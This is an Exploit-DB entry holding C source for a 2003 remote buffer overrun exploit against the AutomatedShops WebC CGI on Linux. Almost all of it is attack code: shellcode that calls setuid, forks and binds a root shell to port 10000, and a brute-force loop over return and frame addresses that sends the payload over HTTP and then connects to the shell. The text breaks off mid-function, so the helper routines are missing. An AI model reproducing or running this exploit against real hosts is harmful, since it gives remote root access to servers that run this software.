Exploit-DB #22454
Description: AutomatedShops WebC 2.0/5.0 Script - Name Remote Buffer Overrun
Type: remote
Platform: linux
Date: 2003-02-16
Author: Carl Livitt

Exploit:
// source: https://www.securityfocus.com/bid/7268/info

It has been reported that a boundary condition error exists in WebC. Because of this, it may be possible for a remote attacker to gain unauthorized access to a vulnerable host. 

/*
 AutomatedShops WebC 2.011 -> 5.005 remote exploit.
 By Carl Livitt 16/Feb/2003

 ** BugTraq release - Linux only **

 Usage:

    ./webc-exploit -t HOSTNAME

*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>

/*
 * Play with these to make it work (if it fails!)
 */
#define RET_ADDR_START	0xbfffe949
#define RET_ADDR_END	0xbffff850
#define RET_ADDR_INCR	768
#define EBP_ADDR_START 	0xbfffe84c
#define EBP_ADDR_END	0xbffff852
#define EBP_ADDR_INCR	768
#define ROOT_SHELL_PORT 10000
#define COMMAND1 "id\n"
#define COMMAND2 "uname -a\n"

// don't adjust this
#define BUF_SIZE 2048

void make_shellcode(int);
void make_exploit_buffer();
void make_boundary_buffer();

char shellcode[] =
	// setuid(0),setgid(0)... (just in case ;)
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"

	// ...fork(). Parent terminates, killing webc.cgi but
	// leaving child process as a daemon...
	"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31\xdb\x31\xc0"
	"\xb0\x01\xcd\x80"

	// ...finally, bind shell (/bin/sh) to port 10000 (by default).
	// This is a butchered version of port-binding shellcode by
	// BigHawk.
        "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
        "\x89\xc7\x52\x66\x68"
        "XX" // XX is port number - gets filled in later
        "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
        "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
        "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
        "\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

char sc[BUF_SIZE*2+2];
char exploit_buf[100000];
char target[256];
int port=80;
char orig_location[4096]="/cgi-bin/webc.cgi/g/", location[100000];
unsigned long RET_ADDR, EBP_ADDR;
int root_shell_port=ROOT_SHELL_PORT,padding,len, PADDING, ORDER, repeat;

char usage[]=
"Options:\n"
"-h           This cruft\n"
"-t hostname  Specify target host\n"
"-a n         Add extra padding, start at value 'n'\n"
"-A n         Add extra padding, stop at value 'n'\n\n"
"Usage:\n\n"
" ./webc-exploit -t localhost\n\n"
"Should work on any WebC installation (versions 5.001 - 5.005)\n\n";

char greeting[]=
"WebC 5.00x proof-of-concept exploit for Linux\n"
"By Carl Livitt, Feb 2003\n"
"PRIVATE - DO  NOT DISTRIBUTE\n\n";

char thingy[]="|/-\\";

/*
 * The fun begins here...
 */

main(int argc, char **argv) {
	int ch, websock, shellsock,r=1;
	struct hostent *host;
	struct sockaddr_in saddr;
	char buf[8092];
	char cmd[256];
	int tries=0;
	struct timespec sleepTime;
	fd_set rfds;
	int retval, PADDING_START, PADDING_END;
	int thingyCount=0;
		
	printf("%s",greeting);
	PADDING_START=21;
	PADDING_END=21;
	while((ch=getopt(argc,argv,"a:A:ht:p:P:l:"))!=-1) {
		switch(ch) {
			case 'h':
				printf("%s",usage);
				exit(0);
				break;
			case 't':
				strncpy(target, optarg, sizeof(target)-1);
				break;
			case 'a':
				PADDING_START=atoi(optarg);
				break;
			case 'A':
				PADDING_END=atoi(optarg);
				break;
			default:
				printf("%s", usage);
				exit(0);
				break;
		}
	}	
	
	if((host=gethostbyname(target))==NULL) {
		printf("Host not found. Usage:\n%s\n", usage);
		exit(1);
	}
	
	/*
	 * Start the bruteforce loop
	 */
	for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
		for(EBP_ADDR=EBP_ADDR_START; EBP_ADDR<EBP_ADDR_END; EBP_ADDR+=EBP_ADDR_INCR) {
			for(PADDING=PADDING_START;PADDING<=PADDING_END;PADDING++){
			for(ORDER=0;ORDER<=1;ORDER++) {
			repeat=5;
			while(repeat--) {
			printf("Please wait, this may take a few minutes... %c\r",thingy[thingyCount]);fflush(stdout);
			/*
		 	 * Setup the exploit strings and
	 		 * HTTP headers. The Accept-Encoding header
	 		 * will hold shellcode: it will be passed
	 		 * to the environment of webshell giving us
	 		 * a reasonably predictable RET address.
	 		 */
			make_shellcode(ORDER);
			make_boundary_buffer();
			make_exploit_buffer();
		
			/*
	 		 * Now connect to the host and send the exploit
	 		 * string...
	 		 */
			if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
				perror("socket()");
				exit(1);
			}
			memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
			saddr.sin_family=AF_INET;
			saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
			saddr.sin_port=htons(port);
			if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
				perror("connect()");
				exit(1);
			}
			send(websock, exploit_buf, strlen(exploit_buf), 0);
			//len=recv(websock, buf, sizeof(buf)-1, 0);
			close(websock);
			
			// increment the counters 
			tries++;
			if((++thingyCount)==4)
				thingyCount=0;

			// attempt to connect to port 10000 (or other, non-default port).
			// If successful, we know the exploit succeeded.
			if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
                                perror("socket()");
                                exit(1);
                        }
                        memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
                        saddr.sin_family=AF_INET;
                        saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
                        saddr.sin_port=htons(root_shell_port);
                        if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
                                goto CONNECTED; // goto? Damn amateurs...
                        close(shellsock);
			EBP_ADDR--;